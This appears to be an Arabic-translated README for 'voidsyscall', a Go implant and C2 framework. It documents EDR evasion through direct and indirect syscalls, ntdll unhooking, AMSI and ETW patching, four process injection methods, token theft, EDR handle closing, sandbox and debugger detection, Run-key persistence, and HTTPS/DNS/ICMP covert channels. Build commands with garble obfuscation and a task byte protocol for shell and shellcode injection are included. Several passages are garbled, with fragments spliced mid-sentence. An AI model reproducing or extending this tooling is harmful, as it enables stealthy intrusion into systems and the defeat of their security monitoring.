
منصة زرع وC2 مدعومة باستدعاءات النظام عبر الأنظمة — استدعاءات نظام مباشرة (Win)، استدعاءات نظام خام (Linux)، قنوات HTTPS/DNS/ICMP. بدون طبقة winapi.
صفر WinAPI. يتم حل كل بدائية NT في وقت التشغيل من ntdll في الذاكرة —
يتم إصدار تعليمات SYSCALL مباشرة عبر stubs تجميع Plan9، لا يوجد جدول استيراد،
لا يتم لمس أي خطافات usermode في ntdll. C2 عبر HTTPS / DNS / ICMP، AES-256-GCM لكل
رسالة. أصلي على Windows. بناءات Linux. بناءات macOS.
هذا ليس مكتبة غلاف syscall. إنه إطار عمل implant كامل حيث
كل عملية — من حقن الكود إلى قراءة الملفات إلى الاستمرارية في
السجل — تمر عبر استدعاءات Nt* الخام التي يتم حلها عند الإقلاع من جدول تصدير ntdll الحالي. لا توجد استدعاءات WinAPI في الملف الثنائي. لا شيء لـ EDR
ليضع خطافًا عليه في usermode.
B8 xx xx 00 00 0F 05 (مباشر) أو
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate). يتم تجزئة كل اسم دالة في وقت الترجمة — لا توجد سلاسل نصية واضحة في الملف الثنائي.asm_amd64.s) يحمّل SSN في EAX،
يضبط 7 وسائط يدويًا، ينفذ SYSCALL. العودة عبر RAX/RDX.0F 05 C3 (syscall;ret) داخل
ntdll، ويستدعي من خلالها. يهبط فخ المعالج داخل ntdll — يُظهر مكدس الاستدعاء إطارات ntdll، وليس إطارات implant. لا ينجو أي خطاف usermode..text إلى RWX، وينسخ البايتات الأصلية من ntdll
المعيّن على القرص، ويستعيد الحماية، ويفرغ icache، ويمحو ذاكرة SSN المؤقتة.
كل خطاف usermode وضعه أي EDR يختفي.يقوم الوكيل بالتدوير عبر تقنيات الحقن تلقائيًا. كل استدعاء يستخدم طريقة مختلفة — لا يبدو حقنان متشابهين في التحليل الجنائي.
يشغّل جميع الفحوصات، ويعيد تقرير تهديد مُقيَّم. تدمير ذاتي عند Critical.
كلها عبر استدعاءات Nt*، بدون WinAPI.
EnablePrivilege(index) — ضبط أي امتياز بواسطة LUIDEnableAllTokenPrivileges() — 20 امتيازًا دفعة واحدة (Debug، Impersonate، TCB، Backup، Restore، إلخ.)GetProcessTokenIntegrityLevel() — استعلام السلامة الإلزاميةStealProcessToken(pid) — فتح + تكرار token عملية أخرىImpersonateThread() / RevertToSelf()EnumVirtualMemory() — التنقل في جميع المناطق الافتراضية عبر NtQueryVirtualMemoryFindWritableExecRegions() — العثور على مناطق PAGE_EXECUTE_READWRITE الملتزمةHideRegion() — ضبط PAGE_NOACCESS لإخفاء الذاكرة من الماسحاتUnhideRegion() — استعادة الحماية الأصليةNtCreateFile → NtReadFile / NtWriteFile → NtClose. صفر استدعاءات CreateFileA،
ReadFile، WriteFile، أو DeleteFileW. ReadFileContents()،
WriteFileContents()، DeleteFileNt()، FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence()، RemoveRunKeyPersistence().
لا RegCreateKeyEx، RegSetValueEx، أو أي استدعاءات Advapi32.
EnumerateSystemHandles() — جميع المقابض المفتوحة في النظام عبر
NtQuerySystemInformation(SystemHandleInformation)FindEDRHandles() — يطابق PIDs المالك مع أكثر من 30 اسم عملية EDR
معروف (MsSense، CrowdStrike، Sentinel، Cylance، Carbon Black، إلخ)CloseEDRHandles() — يغلق مقابض المراقبة التي وضعها EDR في
عمليتكIsProcessMonitored() — فحص منطقي: هل نحن تحت المراقبة؟NtFreeVirtualMemory.PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — اختراق الخيط → RETPatchInstrumentationCallbacks() — ThreadHideFromDebuggerجميع القنوات تنفذ واجهة Channel. إضافة NTP أو DoH أو TURN
تعني تنفيذ الواجهة — صفر تغييرات في الوكيل.
AES-256-GCM AEAD لكل رسالة. nonce فريد من 12 بايت لكل رسالة. حلقة مفاتيح لكل implant. اشتقاق مفتاح قائم على عبارة المرور متاح. 3 اختبارات، جميعها ناجحة.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
التشويش باستخدام garble:
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList → مطابقة ntdll.dll عبر تجزئة djb2IMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = جدول التصديرAddressOfNames[]، djb2 لكل منها، مطابقة الهدفAddressOfFunctions[ordinal] → عنوان الدالةB8 xx xx 00 00 0F 05 (مباشر)، B8 xx xx 00 00 C3 (early-ret)، أو 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate)لا أسماء دوال في الملف الثنائي. فقط تجزئات djb2. تعليمة syscall
تتجاوز كل خطاف usermode.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
تم الشحن: حلقة Beacon، قائمة انتظار المهام، 3 قنوات C2، 4 طرق حقن،
أكثر من 10 فحوصات تهرب، تعداد/إغلاق المقابض، التلاعب بـ token، عمليات VAD،
إدخال/إخراج الملفات، استمرارية السجل، بصمة SSN، تشفير الذاكرة،
رقع AMSI/ETW، تشفير AES-GCM، إدارة الجلسات، REPL تفاعلي.
3 اختبارات تشفير ناجحة. go build نظيف على Windows.
ليس بعد: وكيل Linux مستقل (البناءات موجودة، لا منطق وكيل)، تدوير مفاتيح الجلسة، محمّل مرحلي، قنوات NTP/DoH، جدولة الاستمرارية.
MIT — LICENSE
| الطريقة | كيف تعمل | لماذا هي خفية |
|---|
| تعيين القسم | NtCreateSection → NtMapViewOfSection (عن بعد) → NtCreateThreadEx | لا يوجد تخصيص RWX في VAD. القسم مدعوم بملف. ترى ماسحات الذاكرة PAGE_EXECUTE_READ، وليس PAGE_EXECUTE_READWRITE. |
| تفريغ العملية | NtCreateUserProcess (معلّق) → NtSuspendProcess → تصفير قاعدة الصورة → تخصيص + كتابة shellcode → NtSetContextThread (RIP = shellcode) → NtResumeProcess | تظهر العملية كـ svchost.exe شرعي في taskmgr. تختلف محتويات الذاكرة فقط. |
| صف APC | تعداد الخيوط عبر NtQuerySystemInformation → NtOpenThread → NtQueueApcThread | لا يتم إنشاء خيط جديد. لا TEB جديد. لا تخصيص مكدس جديد. يُطلق عندما يدخل الخيط في انتظار قابل للتنبيه. |
| دوس الوحدة | تخصيص في الهدف → كتابة رأس PE أدنى + shellcode → NtCreateThreadEx عند نقطة الدخول | تُظهر قائمة الوحدات اسم DLL معقول. رأس PE صالح بما يكفي لخداع تعداد الوحدات. |
| الفحص | الطريقة |
|---|
| كشف VM | فحص توقيع hypervisor في CPUID leaf 0x40000000 (VMware، VirtualBox، Hyper-V، KVM، Xen، QEMU، Parallels) + احتياطي leaf 0x40000001 |
| كشف Sandbox | عدد CPU، آثار السجل (VMware Tools، VBox Guest Additions، خدمات VMware/VBox)، فحص عمليات sandbox (أكثر من 30 اسمًا معروفًا: wireshark، procmon، x64dbg، ida، إلخ) |
| كشف Debugger | PEB.BeingDebugged، PEB.NtGlobalFlag، أعلام تصحيح الكومة، ProcessDebugPort، ProcessDebugObjectHandle، ProcessDebugFlags، نقطة توقف عتادية DR0-7، فحص التوقيت أحادي الخطوة |
| شذوذ التوقيت | قائم على RDTSC: 50 عينة من زمن استجابة NtQuerySystemInformation، المتوسط/الانحراف المعياري، وضع علامة إذا تجاوزت أكثر من 10% من العينات تباين 3σ. يلتقط الحمل الزائد للأدوات. |
| تهرب PEB | يرقّع أعلام BeingDebugged، NtGlobalFlag، ProcessHeap، DebugPort، ThreadHideFromDebugger — كلها عبر قراءات مقطع GS + NtWriteVirtualMemory. لا استدعاءات API. |
| القناة |
|---|
| تنسيق الإرسال |
|---|
| المتطلبات |
|---|
| HTTPS | POST ثنائي، تأطير مخصص، UA/مسار عشوائي | شهادة TLS |
| DNS | نطاق فرعي <idx>-<total>-<base32>، استجابة TXT | حل DNS |
| ICMPv4 | الحمولة في ID+seq لطلب/رد echo | مقبس خام (root/Admin) |
| المهمة | البايت | الحمولة |
|---|
| shell | 0x01 | أمر UTF-8 |
| inject | 0x02 | PID (4 بايت LE) + shellcode |
| patch | 0x03 | 0x01=AMSI، 0x02=ETW، 0x03=كلاهما |
| sleep | 0x04 | ثوانٍ (4 بايت LE) |
| evasion | 0x10 | 0x01=كامل، 0x02=VM، 0x03=sandbox، 0x04=debug، 0x05=timing، 0x06=report |
| handles | 0x11 | 0x01=count، 0x02=enum EDR، 0x03=close EDR، 0x04=monitored? |
| vault | 0x12 | عمليات تخزين مشفرة |
| fingerprint | 0x13 | تفريغ بصمة بناء SSN |
| token | 0x14 | 0x01=enable all، 0x02=integrity، 0x03=debug priv، 0x04=impersonate |
| exit | 0xFF | — |
map[uint32]uint16 المؤقتة